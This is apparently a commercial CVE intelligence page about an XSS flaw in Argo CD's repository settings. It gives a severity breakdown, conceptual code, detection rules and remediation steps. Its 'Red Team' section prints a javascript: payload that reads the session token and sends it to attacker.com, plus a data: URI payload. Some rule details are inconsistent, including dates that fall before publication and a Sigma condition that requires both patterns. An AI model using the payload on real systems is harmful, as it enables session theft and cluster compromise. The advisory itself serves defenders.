☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-47933

CVE-2025-47933 Cross-Site Scripting in Argo cd
📅 PUBLISHED: 2025-05-29 19:30 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 distinct-origin sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-47933 is a critical cross-site scripting (XSS) vulnerability in Argo CD, a declarative GitOps continuous delivery tool for Kubernetes. The flaw resides in the repository settings page, where improper filtering of URL protocols allows an attacker with repository edit permissions to inject malicious scripts. When a victim (e.g., an admin) views the crafted repository configuration, the script executes in their browser context, enabling the attacker to perform arbitrary API actions on behalf of the victim. This can lead to full cluster compromise, secret exfiltration, and privilege escalation. The CVSS score is 9.1 (Critical), and while no public exploit code exists, the attack vector is straightforward for authenticated users with low privileges.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Argo CD is distributed as a Go binary and container image. The vulnerability is in the web UI component, not in the core Go packages. However, any organization using Argo CD for GitOps is at risk. The patch is available in versions 2.13.8, 2.14.13, and 3.0.4. Users should upgrade immediately. No malicious packages have been reported in the supply chain.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
  • Base Score: 9.1 (Critical)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs repository edit permissions.
  • User Interaction (UI): Required (R) – Victim must view the malicious repository page.
  • Scope (S): Changed (C) – Compromise impacts resources beyond the vulnerable component.
  • Confidentiality (C): High (H) – Full secret/API token theft.
  • Integrity (I): High (H) – Arbitrary API actions possible.
  • Availability (A): High (H) – Could delete resources or disrupt deployments.

Threat Level: Critical. The low privilege requirement and high impact make this a priority for patching.

Deep Dive & Mechanics

The vulnerability exists in the repository settings page of the Argo CD web UI. When a user configures a repository URL, the application does not properly validate the URL protocol. An attacker can inject a javascript: or data: URI in the repository URL field. When an administrator or other user views the repository details, the browser interprets the malicious URI as a script source, leading to XSS.

Attack Flow:

  1. Attacker with repository edit permissions (e.g., a developer role) modifies a repository URL to javascript:alert(document.cookie).
  2. An admin or other user navigates to the repository settings page.
  3. The browser executes the injected JavaScript in the context of the Argo CD web UI.
  4. The script can then call the Argo CD API (e.g., fetch('/api/v1/session')) to steal tokens, create new admin users, or modify cluster secrets.

Root Cause: The repository field in the UI uses innerHTML or similar unsafe rendering without sanitizing the URL protocol. The fix involves proper URL validation and output encoding.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In repository settings component
function renderRepository(url) {
  document.getElementById('repo-url').innerHTML = `<a href="${url}">${url}</a>`;
}

The url is not sanitized, allowing javascript: URIs.

Patched Code (Conceptual):

function renderRepository(url) {
  const sanitizedUrl = new URL(url);
  if (sanitizedUrl.protocol !== 'http:' && sanitizedUrl.protocol !== 'https:') {
    throw new Error('Invalid protocol');
  }
  document.getElementById('repo-url').textContent = url;
  // Or use a safe link with proper escaping
}

The patch validates the protocol and uses textContent instead of innerHTML to prevent script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to an Argo CD instance with repository edit permissions.
  • A victim user (e.g., admin) who will view the repository page.

Exploit Steps:

  1. Log in to Argo CD as a user with repository edit rights.
  2. Navigate to Settings > Repositories > Add Repository.
  3. In the "Repository URL" field, enter:
    javascript:fetch('/api/v1/session').then(r=>r.json()).then(d=>fetch('https://attacker.com/steal?token='+d.token))
    
  4. Save the repository.
  5. Wait for an admin to view the repository list or details.
  6. The admin's browser executes the script, exfiltrating their session token to the attacker's server.

Alternative Payload (Data URI):

data:text/html,<script>alert(1)</script>

No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

  • Monitor Argo CD audit logs for changes to repository URLs, especially those containing javascript: or data:.
  • Use WAF rules to block requests with javascript: or data: in repository URL parameters.
  • Deploy CSP headers to restrict script execution.

Hardening:

  • Upgrade to patched versions (2.13.8, 2.14.13, 3.0.4).
  • Restrict repository edit permissions to trusted users only.
  • Enable multi-factor authentication for all Argo CD users.
  • Use network segmentation to limit Argo CD API exposure.

Indicators of Compromise (IOCs)

  • Network: Outbound connections to attacker-controlled domains from Argo CD UI clients.
  • Logs: Argo CD audit log entries showing repository URL modifications with javascript: or data: protocols.
  • Browser: Unusual JavaScript execution in the Argo CD web UI (e.g., unexpected fetch calls to external domains).
  • File: Modified repository configuration in the Argo CD database or Git repository containing malicious URIs.

Example IOC (Audit Log):

{
  "action": "repository.create",
  "user": "attacker@example.com",
  "data": {
    "url": "javascript:alert(1)"
  }
}

Detection Engineering

YARA Rule

rule CVE_2025_47933_ArgoCD_XSS {
    meta:
        description = "Detects malicious repository URLs in Argo CD configs"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-47933"
    strings:
        $javascript = /javascript\s*:/ nocase
        $data_uri = /data\s*:\s*text\/html/i
        $repo_url = /url\s*:\s*["'][^"']*["']/ nocase
    condition:
        $repo_url and ($javascript or $data_uri)
}

Sigma Rule

title: Argo CD Repository XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-47933 by injecting javascript: or data: URIs in repository URLs
author: Valters IT
date: 2025-04-10
logsource:
    product: argo_cd
    service: audit
detection:
    selection:
        action: "repository.create" or "repository.update"
        data|contains|all:
            - "javascript:"
            - "data:"
    condition: selection
falsepositives:
    - Legitimate use of data URIs in repository descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47933 Argo CD XSS - javascript: URI in repository"; flow:to_server,established; content:"javascript:"; http_uri; nocase; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47933 Argo CD XSS - data: URI in repository"; flow:to_server,established; content:"data:"; http_uri; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate:

  1. Upgrade Argo CD to version 2.13.8, 2.14.13, or 3.0.4 (depending on your release track).
  2. If upgrade is not possible, restrict repository edit permissions to only trusted administrators.
  3. Implement a Web Application Firewall (WAF) rule to block javascript: and data: URIs in repository URL fields.

Long-term:

  • Enforce strict input validation on all user-supplied URLs.
  • Use Content Security Policy (CSP) headers to prevent inline script execution.
  • Conduct regular security audits of Argo CD configurations.
  • Monitor for anomalous API calls from the Argo CD UI.

Workaround: If patching is delayed, disable the repository settings page for non-admin users via RBAC.


Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-47933/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.